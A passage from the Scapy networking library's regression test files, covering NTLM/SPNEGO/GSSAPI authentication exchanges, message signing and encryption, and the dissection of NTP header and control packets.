GSS_C_FLAGS.GSS_C_MUTUAL_FLAG |\n        GSS_C_FLAGS.GSS_C_INTEG_FLAG |\n        GSS_C_FLAGS.GSS_C_CONF_FLAG\n    )\n)\nassert negState == 1\nassert isinstance(tok, GSSAPI_BLOB)\ntok = GSSAPI_BLOB(bytes(tok))\nassert tok.MechType.val == '1.3.6.1.5.5.2'\nassert isinstance(tok.innerToken.token, SPNEGO_negTokenInit)\nassert len(tok.innerToken.token.mechTypes) == 1\nassert tok.innerToken.token.mechTypes[0].oid == '1.3.6.1.4.1.311.2.2.10'\nassert tok.innerToken.token.reqFlags is None\nassert tok.innerToken.token.negHints is None\nassert tok.innerToken.token.mechListMIC is None\nassert tok.innerToken.token._mechListMIC is None\n\nntlm_nego = tok.innerToken.token.mechToken.value\nassert isinstance(ntlm_nego, NTLM_NEGOTIATE)\nassert ntlm_nego.Payload == []\nassert ntlm_nego.MessageType == 1\nassert ntlm_nego.NegotiateFlags.NEGOTIATE_UNICODE and ntlm_nego.NegotiateFlags.NEGOTIATE_SIGN and ntlm_nego.NegotiateFlags.NEGOTIATE_KEY_EXCH\nassert ntlm_nego.NegotiateFlags == 0xe2898235\nassert ntlm_nego.ProductMajorVersion == 10\nassert ntlm_nego.ProductMinorVersion == 0\nassert ntlm_nego.ProductBuild == 19041\nassert bytes(ntlm_nego) == b'NTLMSSP\\x00\\x01\\x00\\x00\\x005\\x82\\x89\\xe2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00aJ\\x00\\x00\\x00\\x0f'\n\n= GSS_Accept_sec_context (SPNEGO_negTokenResp: NTLM_NEGOTIATE->NTLM_CHALLENGE)\n\nwith NTLMRandomPatcher():\n    srvcontext, tok, negState = server.GSS_Accept_sec_context(None, tok)\n\nassert negState == 1\nassert isinstance(tok, SPNEGO_negToken)\ntok = SPNEGO_negToken(bytes(tok))\nassert isinstance(tok.token, SPNEGO_negTokenResp)\nassert tok.token.negState == 1\nassert tok.token.supportedMech.oid == '1.3.6.1.4.1.311.2.2.10'\nassert isinstance(tok.token.responseToken, SPNEGO_Token)\nassert tok.token.mechListMIC is None\n\nntlm_chall = tok.token.responseToken.value\nassert isinstance(ntlm_chall, NTLM_CHALLENGE)\nassert ntlm_chall.NegotiateFlags == 0xe2898235\nassert ntlm_chall.getAv(2).Value == \"DOMAIN\"\nassert ntlm_chall.getAv(1).Value == \"WIN10\"\nassert ntlm_chall.getAv(4).Value == \"domain.local\"\nassert ntlm_chall.getAv(3).Value == \"WIN10.domain.local\"\nassert ntlm_chall.getAv(5).Value == \"domain.local\"\nassert ntlm_chall.getAv(0)\n\n= GSS_Init_sec_context (SPNEGO_negToken: NTLM_CHALLENGE->NTLM_AUTHENTICATE)\n\nwith NTLMRandomPatcher():\n    clicontext, tok, negState = client.GSS_Init_sec_context(clicontext, tok)\n\nassert isinstance(tok, SPNEGO_negToken)\ntok = SPNEGO_negToken(bytes(tok))\nassert isinstance(tok.token, SPNEGO_negTokenResp)\nassert tok.token.negState is None\nassert tok.token.supportedMech is None\nassert isinstance(tok.token.mechListMIC, SPNEGO_MechListMIC)\nsig = tok.token.mechListMIC.value\nassert isinstance(sig, NTLMSSP_MESSAGE_SIGNATURE)\nassert sig.Version == 1\nassert sig.SeqNum == 0\nassert isinstance(tok.token.responseToken, SPNEGO_Token)\n\nntlm_auth = tok.token.responseToken.value\nassert isinstance(ntlm_auth, NTLM_AUTHENTICATE_V2)\nassert ntlm_auth.NegotiateFlags == 0xe2898235\nassert ntlm_auth.UserName == \"User1\"\nassert ntlm_auth.DomainName == \"DOMAIN\"\nassert ntlm_auth.Workstation == \"WIN10\"\nassert ntlm_chall.TargetInfo[:6] ==  ntlm_auth.NtChallengeResponse.AvPairs[:6]\nassert ntlm_auth.NtChallengeResponse.getAv(6).Value == 2\nassert ntlm_auth.NtChallengeResponse.getAv(9).Value == \"host/WIN10\"\n\n= GSS_Accept_sec_context (SPNEGO_negToken: NTLM_AUTHENTICATE->OK)\n\nsrvcontext, tok, negState = server.GSS_Accept_sec_context(srvcontext, tok)\nassert negState == 0, negState  # success :p\nassert isinstance(tok, SPNEGO_negToken)\nassert isinstance(tok.token, SPNEGO_negTokenResp)\nassert tok.token.negState == 0\nassert tok.token.supportedMech is None\nassert tok.token.responseToken is None\nassert isinstance(tok.token.mechListMIC, SPNEGO_MechListMIC)\nsig = tok.token.mechListMIC.value\nassert isinstance(sig, NTLMSSP_MESSAGE_SIGNATURE)\nassert sig.Version == 1\nassert sig.SeqNum == 0\n\nassert srvcontext.SessionKey == clicontext.SessionKey\nassert clicontext.SessionKey == b\"0000000000000000\"\n\n= GSS_WrapEx/GSS_UnwrapEx: client sends a encrypted payload\n\ndata_header = b\"header\"  # signed but not encrypted\ndata = b\"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE\"  # encrypted\n\nwith NTLMRandomPatcher():\n    _msgs, sig = client.GSS_WrapEx(\n        clicontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n        ]\n    )\n\nencrypted = _msgs[1].data\nassert bytes(encrypted) == b'\\x9c_\\xe9\\xf2D\\xc3\\xe9^\\xcd\\x939\\xff\\xac\\xa8\\x16Y7\\xcb \\x80mS\\xee.3\\x85\\x90\\xfe\\xb1_l\\xcc\\xcc\\x7fl\\x1ae,\\x8b\\xb3\\x1cK\\xd7zT\\x1b\\xd4W9Z'\nassert sig.Checksum == b'\\x91\\xca\\x9d\\x0c\\x15\\x1e\\xc5\"'\n\ndecrypted = server.GSS_UnwrapEx(\n    srvcontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted),\n    ],\n    sig\n)[1].data\nassert decrypted == data\n\n= GSS_WrapEx/GSS_UnwrapEx: server answers back\n\nwith NTLMRandomPatcher():\n    _msgs, sig = server.GSS_WrapEx(\n        srvcontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n        ]\n    )\n\nre_encrypted = _msgs[1].data\nassert bytes(re_encrypted) == b'\\x8f@s\\x9c\\xa5[\\xd4\\xee\\xb6\\x9b,\\x96\\xe6\\x94\\x8e\\x8d\\x1565\\x81\\xd0E\\xe9WI\\xd0\\\\\\x80\\x9fD\\x1f\\xee\\xfb\\xe5\\xc6s\\x0c+\\t\\xba,\\xf1\\xa2Zj\\xd6\\x0e\\xe4C\\x02'\nassert sig.Checksum == b'\\x11l/\\xeaO\\xb8\\x08z'\n\ndecrypted = client.GSS_UnwrapEx(\n    clicontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=re_encrypted),\n    ],\n    sig\n)[1].data\nassert decrypted == data\n\n= GSS_WrapEx/GSS_UnwrapEx: client continues with seqnum 2\n\nwith NTLMRandomPatcher():\n    _msgs, sig = client.GSS_WrapEx(\n        clicontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n        ]\n    )\n\nencrypted = _msgs[1].data\nassert bytes(encrypted) == b'\\x96\\xc2\\xa8>\\xa8\\xc0\\xb8\\xc6\\xb6\\x8a\\xe3\\xc2\\x84\\x8a\\xd4e\\xeb?\"s\\xf9\\x1drfC\\xb9\\xbe\\xe8\\x1e9\\xfe\\xa1\\xa8^\\xbe\\x0e\\x98\\xb3]\\xa0\\x906\\xf6`\\xdfn\\x88d_L'\nassert sig.Checksum == b'\\xc5t\\xfa\\xba\\x1c\\x9d-\\xa1'\n\nassert sig.SeqNum == 2\ndecrypted = server.GSS_UnwrapEx(\n    srvcontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted),\n    ],\n    sig\n)[1].data\nassert decrypted == data\n\n= GSS_WrapEx/GSS_UnwrapEx: inject fault\n\n_msgs, sig = client.GSS_WrapEx(\n    clicontext,\n    [\n        SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header),\n        SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data)\n    ]\n)\nencrypted = _msgs[1].data\nassert encrypted != data\nbad_data_header = data_header[:-3] + b\"hey\"\ntry:\n    server.GSS_UnwrapEx(srvcontext,\n        [\n            SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=bad_data_header),\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted),\n        ],\n        sig\n    )\n    assert False, \"No error was reported, but there should have been one\"\nexcept ValueError:\n    pass\n\n\n+ GSSAPI - Verify real exchange\n\n= Real exchange - Parse token 0 from server\n\nfrom scapy.layers.gssapi import GSSAPI_BLOB\n\ntok0 = GSSAPI_BLOB(\nb\"\\x60\\x76\\x06\\x06\\x2b\\x06\\x01\\x05\\x05\\x02\\xa0\\x6c\\x30\\x6a\\xa0\\x3c\" \\\nb\"\\x30\\x3a\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x1e\\x06\\x09\" \\\nb\"\\x2a\\x86\\x48\\x82\\xf7\\x12\\x01\\x02\\x02\\x06\\x09\\x2a\\x86\\x48\\x86\\xf7\" \\\nb\"\\x12\\x01\\x02\\x02\\x06\\x0a\\x2a\\x86\\x48\\x86\\xf7\\x12\\x01\\x02\\x02\\x03\" \\\nb\"\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a\\xa3\\x2a\\x30\\x28\" \\\nb\"\\xa0\\x26\\x1b\\x24\\x6e\\x6f\\x74\\x5f\\x64\\x65\\x66\\x69\\x6e\\x65\\x64\\x5f\" \\\nb\"\\x69\\x6e\\x5f\\x52\\x46\\x43\\x34\\x31\\x37\\x38\\x40\\x70\\x6c\\x65\\x61\\x73\" \\\nb\"\\x65\\x5f\\x69\\x67\\x6e\\x6f\\x72\\x65\")\n\n= Real exchange - Create server SPNEGOSSP\n\nfrom scapy.layers.ntlm import NTLM_NEGOTIATE, MD4le\nfrom scapy.layers.spnego import SPNEGOSSP\n\nserver = SPNEGOSSP(\n    [\n        NTLMSSP(\n            IDENTITIES={\n                \"User1\": MD4le(\"Password1!\"),\n            },\n        ),\n    ],\n)\n\n= Real exchange - Parse token 1 from client\n\ntok1 = GSSAPI_BLOB(\nb\"\\x60\\x48\\x06\\x06\\x2b\\x06\\x01\\x05\\x05\\x02\\xa0\\x3e\\x30\\x3c\\xa0\\x0e\" \\\nb\"\\x30\\x0c\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a\\xa2\\x2a\" \\\nb\"\\x04\\x28\\x4e\\x54\\x4c\\x4d\\x53\\x53\\x50\\x00\\x01\\x00\\x00\\x00\\x97\\x82\" \\\nb\"\\x08\\xe2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\nb\"\\x00\\x00\\x0a\\x00\\x61\\x4a\\x00\\x00\\x00\\x0f\")\n\nsrvcontext, _, negState = server.GSS_Accept_sec_context(None, tok1)\nassert negState == 1\n\n= Real exchange - Inject token 2 from server\n\ntok2 = GSSAPI_BLOB(\nb\"\\xa1\\x81\\xca\\x30\\x81\\xc7\\xa0\\x03\\x0a\\x01\\x01\\xa1\\x0c\\x06\\x0a\\x2b\" \\\nb\"\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a\\xa2\\x81\\xb1\\x04\\x81\\xae\\x4e\" \\\nb\"\\x54\\x4c\\x4d\\x53\\x53\\x50\\x00\\x02\\x00\\x00\\x00\\x0c\\x00\\x0c\\x00\\x38\" \\\nb\"\\x00\\x00\\x00\\x15\\x82\\x89\\xe2\\xdd\\x92\\xcd\\x56\\xcf\\x74\\xc6\\x03\\x00\" \\\nb\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6a\\x00\\x6a\\x00\\x44\\x00\\x00\\x00\\x0a\" \\\nb\"\\x00\\x63\\x45\\x00\\x00\\x00\\x0f\\x44\\x00\\x4f\\x00\\x4d\\x00\\x41\\x00\\x49\" \\\nb\"\\x00\\x4e\\x00\\x02\\x00\\x0c\\x00\\x44\\x00\\x4f\\x00\\x4d\\x00\\x41\\x00\\x49\" \\\nb\"\\x00\\x4e\\x00\\x01\\x00\\x06\\x00\\x44\\x00\\x43\\x00\\x31\\x00\\x04\\x00\\x18\" \\\nb\"\\x00\\x64\\x00\\x6f\\x00\\x6d\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\\x2e\\x00\\x6c\" \\\nb\"\\x00\\x6f\\x00\\x63\\x00\\x61\\x00\\x6c\\x00\\x03\\x00\\x20\\x00\\x44\\x00\\x43\" \\\nb\"\\x00\\x31\\x00\\x2e\\x00\\x64\\x00\\x6f\\x00\\x6d\\x00\\x61\\x00\\x69\\x00\\x6e\" \\\nb\"\\x00\\x2e\\x00\\x6c\\x00\\x6f\\x00\\x63\\x00\\x61\\x00\\x6c\\x00\\x07\\x00\\x08\" \\\nb\"\\x00\\x02\\xea\\x8e\\xe8\\xd2\\x8d\\xd9\\x01\\x00\\x00\\x00\\x00\")\n\ntok2.token.responseToken.value.show()\n\n# Inject challenge token\nsrvcontext.ssp_context.chall_tok = tok2.token.responseToken.value\n\n= Real exchange - Parse token 3 from client\n\ntok3 = GSSAPI_BLOB(\nb\"\\xa1\\x82\\x01\\xd7\\x30\\x82\\x01\\xd3\\xa0\\x03\\x0a\\x01\\x01\\xa2\\x82\\x01\" \\\nb\"\\xb6\\x04\\x82\\x01\\xb2\\x4e\\x54\\x4c\\x4d\\x53\\x53\\x50\\x00\\x03\\x00\\x00\" \\\nb\"\\x00\\x18\\x00\\x18\\x00\\x78\\x00\\x00\\x00\\x12\\x01\\x12\\x01\\x90\\x00\\x00\" \\\nb\"\\x00\\x0c\\x00\\x0c\\x00\\x58\\x00\\x00\\x00\\x0a\\x00\\x0a\\x00\\x64\\x00\\x00\" \\\nb\"\\x00\\x0a\\x00\\x0a\\x00\\x6e\\x00\\x00\\x00\\x10\\x00\\x10\\x00\\xa2\\x01\\x00\" \\\nb\"\\x00\\x15\\x82\\x88\\xe2\\x0a\\x00\\x61\\x4a\\x00\\x00\\x00\\x0f\\x6c\\xf5\\x94\" \\\nb\"\\xd3\\x4b\\x59\\x37\\x72\\x4a\\x63\\xe0\\xb8\\xf1\\x2e\\xf7\\x39\\x44\\x00\\x4f\" \\\nb\"\\x00\\x4d\\x00\\x41\\x00\\x49\\x00\\x4e\\x00\\x55\\x00\\x73\\x00\\x65\\x00\\x72\" \\\nb\"\\x00\\x31\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x31\\x00\\x30\\x00\\x00\\x00\\x00\" \\\nb\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\nb\"\\x00\\x00\\x00\\x00\\x00\\xd7\\x44\\x98\\xd1\\xdf\\xdf\\xd0\\x5f\\xaf\\x33\\xbe\" \\\nb\"\\x69\\x12\\xdf\\x7f\\x6d\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xea\\x8e\" \\\nb\"\\xe8\\xd2\\x8d\\xd9\\x01\\x24\\x0a\\x3b\\xc1\\x49\\x92\\xcc\\x1e\\x00\\x00\\x00\" \\\nb\"\\x00\\x02\\x00\\x0c\\x00\\x44\\x00\\x4f\\x00\\x4d\\x00\\x41\\x00\\x49\\x00\\x4e\" \\\nb\"\\x00\\x01\\x00\\x06\\x00\\x44\\x00\\x43\\x00\\x31\\x00\\x04\\x00\\x18\\x00\\x64\" \\\nb\"\\x00\\x6f\\x00\\x6d\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\\x2e\\x00\\x6c\\x00\\x6f\" \\\nb\"\\x00\\x63\\x00\\x61\\x00\\x6c\\x00\\x03\\x00\\x20\\x00\\x44\\x00\\x43\\x00\\x31\" \\\nb\"\\x00\\x2e\\x00\\x64\\x00\\x6f\\x00\\x6d\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\\x2e\" \\\nb\"\\x00\\x6c\\x00\\x6f\\x00\\x63\\x00\\x61\\x00\\x6c\\x00\\x07\\x00\\x08\\x00\\x02\" \\\nb\"\\xea\\x8e\\xe8\\xd2\\x8d\\xd9\\x01\\x06\\x00\\x04\\x00\\x02\\x00\\x00\\x00\\x08\" \\\nb\"\\x00\\x30\\x00\\x30\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\nb\"\\x20\\x00\\x00\\xc5\\xb6\\xc9\\x62\\xcc\\x25\\x74\\x2d\\xc9\\x64\\xc0\\xcb\\x01\" \\\nb\"\\xe8\\xae\\x03\\x12\\x56\\xa9\\xfa\\x84\\xcb\\x37\\xcd\\xa6\\xae\\x6e\\x5b\\xe2\" \\\nb\"\\x16\\x52\\xbb\\x0a\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\nb\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x00\\x24\\x00\\x63\\x00\\x69\\x00\\x66\" \\\nb\"\\x00\\x73\\x00\\x2f\\x00\\x31\\x00\\x39\\x00\\x32\\x00\\x2e\\x00\\x31\\x00\\x36\" \\\nb\"\\x00\\x38\\x00\\x2e\\x00\\x30\\x00\\x2e\\x00\\x31\\x00\\x30\\x00\\x30\\x00\\x00\" \\\nb\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2a\\xdf\\x42\\x60\\xc7\\x4b\\xac\\x30\\xa0\" \\\nb\"\\x47\\xdc\\xcd\\xb5\\x5e\\x13\\x62\\xa3\\x12\\x04\\x10\\x01\\x00\\x00\\x00\\x0f\" \\\nb\"\\x96\\x54\\xbb\\x55\\xd0\\x6c\\xcb\\x00\\x00\\x00\\x00\")\n\n# Parse auth\nsrvcontext, tok, negState = server.GSS_Accept_sec_context(srvcontext, tok3)\nassert negState == 0\n\n= Real exchange - Check mechListMIC against token 4 from server\n\ntok4 = GSSAPI_BLOB(\nb\"\\xa1\\x1b\\x30\\x19\\xa0\\x03\\x0a\\x01\\x00\\xa3\\x12\\x04\\x10\\x01\\x00\\x00\" \\\nb\"\\x00\\xe3\\x39\\x61\\x56\\xbc\\x42\\x23\\xdc\\x00\\x00\\x00\\x00\")\n\ntok.show()\ntok4.show()\nassert tok.token.mechListMIC == tok4.token.mechListMIC\n\n= MISC - Dissect legacy formed NTLM messages\n\n# NTLM Negotiate with missing everything\n\ndata = b'NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\npkt = NTLM_Header(data)\nassert pkt.WorkstationNameLen == 0\nassert pkt.ProductMajorVersion is None\n\npkt.clear_cache()\nassert bytes(pkt) == data\n\n\n# NTLM AUTH with missing version\n\ndata = b'NTLMSSP\\x00\\x03\\x00\\x00\\x00\\x18\\x00\\x18\\x00d\\x00\\x00\\x00\\xb6\\x00\\xb6\\x00|\\x00\\x00\\x00\\x08\\x00\\x08\\x00@\\x00\\x00\\x00\\x10\\x00\\x10\\x00H\\x00\\x00\\x00\\x0c\\x00\\x0c\\x00X\\x00\\x00\\x00\\x00\\x00\\x00\\x002\\x01\\x00\\x005\\x82\\x89\\x00C\\x00O\\x00U\\x00S\\x00B\\x00A\\x00N\\x00A\\x00N\\x00A\\x00N\\x00A\\x00G\\x00O\\x00U\\x00R\\x00D\\x00E\\x00\\x91\\xe9\\xa2\\xd8\\xefE\\xcd!2\\xe8r\\xae\\x17*\\xbfq\\xbe8\\x0b4\\x90\\x98\\x12\\x00s\\x9e\\x9e\\xdc\\nj(q\\x1f\\x84\\xf8\\xd3\\x90e\\xa7\\xb3\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x8ax\\xeeXc\\xda\\x01\\xbe8\\x0b4\\x90\\x98\\x12W\\x00\\x00\\x00\\x00\\x01\\x00\\x06\\x00S\\x00R\\x00V\\x00\\x02\\x00\\x0c\\x00D\\x00O\\x00M\\x00A\\x00I\\x00N\\x00\\x03\\x00 \\x00s\\x00r\\x00v\\x00.\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\x04\\x00\\x18\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\x05\\x00\\x18\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\x07\\x00\\x08\\x00\\x90\\xa8;}Qc\\xda\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\npkt = NTLM_Header(data)\nassert pkt.Workstation == \"GOURDE\"\nassert pkt.DomainName == \"COUS\"\nassert pkt.UserName == \"BANANANA\"\n\npkt.clear_cache()\nassert bytes(pkt) == data\n"
  },
  {
    "path": "test/scapy/layers/ntp.uts",
    "content": "% NTP regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n############\n############\n+ Basic tests\n\n= specific haslayer and getlayer implementations for NTP\n~ haslayer getlayer NTP\npkt = IP() / UDP() / NTPHeader()\nassert NTP in pkt\nassert pkt.haslayer(NTP)\nassert isinstance(pkt[NTP], NTPHeader)\nassert isinstance(pkt.getlayer(NTP), NTPHeader)\n\n############\n############\n+ NTP module tests\n\n= NTP - Layers (1)\np = NTPHeader()\nassert NTPHeader in p\nassert not NTPControl in p\nassert not NTPPrivate in p\nassert NTP in p\nassert p.mysummary() == \"NTP v4, client\"\nls(p)\n\np = NTPControl()\nassert not NTPHeader in p\nassert NTPControl in p\nassert not NTPPrivate in p\nassert NTP in p\nassert p.mysummary() == \"NTP v2, NTP control message\"\nls(p)\n\np = NTPPrivate()\nassert not NTPHeader in p\nassert not NTPControl in p\nassert NTPPrivate in p\nassert NTP in p\nassert p.mysummary() == \"NTP v2, reserved for private use\"\nls(p)\n\n= NTP - Layers (2)\np = NTPHeader()\nassert type(p[NTP]) == NTPHeader\np = NTPControl()\nassert type(p[NTP]) == NTPControl\np = NTPPrivate()\nassert type(p[NTP]) == NTPPrivate\n\n= NTP - sessions (1)\np = IP()/TCP()/NTP()\nl = PacketList(p)\ns = l.sessions()  # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e\nassert len(s) == 1\n\n= NTP - sessions (2)\np = IP()/UDP()/NTP()\nl = PacketList(p)\ns = l.sessions()  # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e\nassert len(s) == 1\n\n############\n############\n+ NTPHeader tests\n\n= NTPHeader - Basic checks\nlen(raw(NTP())) == 48\n\n\n= NTPHeader - Dissection\ns = b\"!\\x0b\\x06\\xea\\x00\\x00\\x00\\x00\\x00\\x00\\xf2\\xc1\\x7f\\x7f\\x01\\x00\\xdb9\\xe8\\xa21\\x02\\xe6\\xbc\\xdb9\\xe8\\x81\\x02U8\\xef\\xdb9\\xe8\\x80\\xdcl+\\x06\\xdb9\\xe8\\xa91\\xcbI\\xbf\\x00\\x00\\x00\\x01\\xady\\xf3\\xa1\\xe5\\xfc\\xd02\\xd2j\\x1e'\\xc3\\xc1\\xb6\\x0e\"\np = NTP(s)\nassert isinstance(p, NTPHeader)\nassert p[NTPAuthenticator].key_id == 1\nassert bytes_hex(p[NTPAuthenticator].dgst) == b'ad79f3a1e5fcd032d26a1e27c3c1b60e'\n\n= NTPHeader - High precision\npkt = NTP(b'#\\x02\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe3\\xaaz\\xf7\\xb4\\x07\\xaa\\xea\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe4\\x0f+\\xe2X>\\xb8\\x00')\nassert NTP(raw(NTP(orig=pkt.orig))).orig == pkt.orig\nassert str(pkt.orig) == '3819600631.703241999'\n\n= NTPHeader - KoD\ns = b'\\xe4\\x00\\x06\\xe8\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xcaINIT\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb@\\xe3\\x9eH\\xa3pj\\xdb@\\xe3\\x9eH\\xf0\\xc3\\\\\\xdb@\\xe3\\x9eH\\xfaL\\xac\\x00\\x00\\x00\\x01B\\x86)\\xc1Q4\\x8bW8\\xe7Q\\xda\\xd0Z\\xbc\\xb8'\np = NTP(s)\nassert isinstance(p, NTPHeader)\nassert p.leap == 3\nassert p.version == 4\nassert p.mode == 4\nassert p.stratum == 0\nassert p.ref_id == b'INIT'\n\n\n= NTPHeader - Extension dissection test\ns = b'#\\x02\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdbM\\xdf\\x19e\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdbM\\xdf\\x19e\\x89\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPHeader)\nassert p.leap == 0\nassert p.version == 4\nassert p.mode == 3\nassert p.stratum == 2\n\n= NTPAuthenticator\n\ns = hex_bytes(\"000c2962f268d094666d23750800450000640db640004011a519c0a80364c0a80305a51e007b0050731a2300072000000000000000000000000000000000000000000000000000000000000000000000000052c7bc1dda64b97d0000000bcdc3825dbf6b7ad02886ff45aa8b2eaf7ac78bc1\")\np = Ether(s)\nassert NTPAuthenticator in p and p[NTPAuthenticator].key_id == 3452142173\n\n\n############\n############\n+ NTP Control (mode 6) tests\n\n= NTP Control (mode 6) - CTL_OP_READSTAT (1) - request\ns = b'\\x16\\x01\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 0\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 1\nassert p.sequence == 12\nassert p.status == 0\nassert p.association_id == 0\nassert p.offset == 0\nassert p.count == 0\nassert p.data == b\"\"\n\n\n= NTP Control (mode 6) - CTL_OP_READSTAT (2) - response\ns = b'\\x16\\x81\\x00\\x0c\\x06d\\x00\\x00\\x00\\x00\\x00\\x04\\xe5\\xfc\\xf6$'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 1\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 1\nassert p.sequence == 12\nassert isinstance(p.status, NTPSystemStatusPacket)\nassert p.status.leap_indicator == 0\nassert p.status.clock_source == 6\nassert p.status.system_event_counter == 6\nassert p.status.system_event_code == 4\nassert p.association_id == 0\nassert p.offset == 0\nassert p.count == 4\nassert isinstance(p.data[0], NTPPeerStatusDataPacket)\nassert p.data[0].association_id == 58876\nassert isinstance(p.data[0].peer_status, NTPPeerStatusPacket)\nassert p.data[0].peer_status.configured == 1\nassert p.data[0].peer_status.auth_enabled == 1\nassert p.data[0].peer_status.authentic == 1\nassert p.data[0].peer_status.reachability == 1\nassert p.data[0].peer_status.reserved == 0\nassert p.data[0].peer_status.peer_sel == 6\nassert p.data[0].peer_status.peer_event_counter == 2\nassert p.data[0].peer_status.peer_event_code == 4\n\n= NTP Control (mode 6) - CTL_OP_READSTAT (3) - multi\ns = b'\\x16\\x81\\x00\\x0f\\x00\\x14\\x00\\x00\\x00\\x00\\x008Et\\x00\\x11Es\\x00\\x11Er\\x00\\x11Eq\\x00\\x11Ep6\\x1aEo4\\x14En3\\x14Em4\\x14El4\\x1aEk4\\x14Ej\\x88\\x11Ei\\x88\\x11Eh\\x88\\x11Eg\\x88\\x11'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.response == 1\nassert isinstance(p.status, NTPSystemStatusPacket)\nassert p.count == 56\nassert len(p.data) == 14\nassert all(isinstance(x, NTPPeerStatusDataPacket) for x in p.data)\nassert p.data[0].association_id == 17780\nassert p.data[10].association_id == 17770\nassert p.data[13].association_id == 17767\nassert p.data[13].peer_status.peer_event_counter == 1\nassert not p.authenticator\n\n= NTP Control (mode 6) - CTL_OP_READVAR (1) - request\ns = b'\\x16\\x02\\x00\\x12\\x00\\x00\\xfc\\x8f\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 0\nassert p.op_code == 2\nassert p.sequence == 18\nassert p.status == 0\nassert p.association_id == 64655\nassert p.data == b\"\"\n\n\n= NTP Control (mode 6) - CTL_OP_READVAR (2) - response (1st packet)\ns = b'\\xd6\\xa2\\x00\\x12\\xc0\\x11\\xfc\\x8f\\x00\\x00\\x01\\xd4srcadr=192.168.122.1, srcport=123, dstadr=192.168.122.100, dstport=123,\\r\\nleap=3, stratum=16, 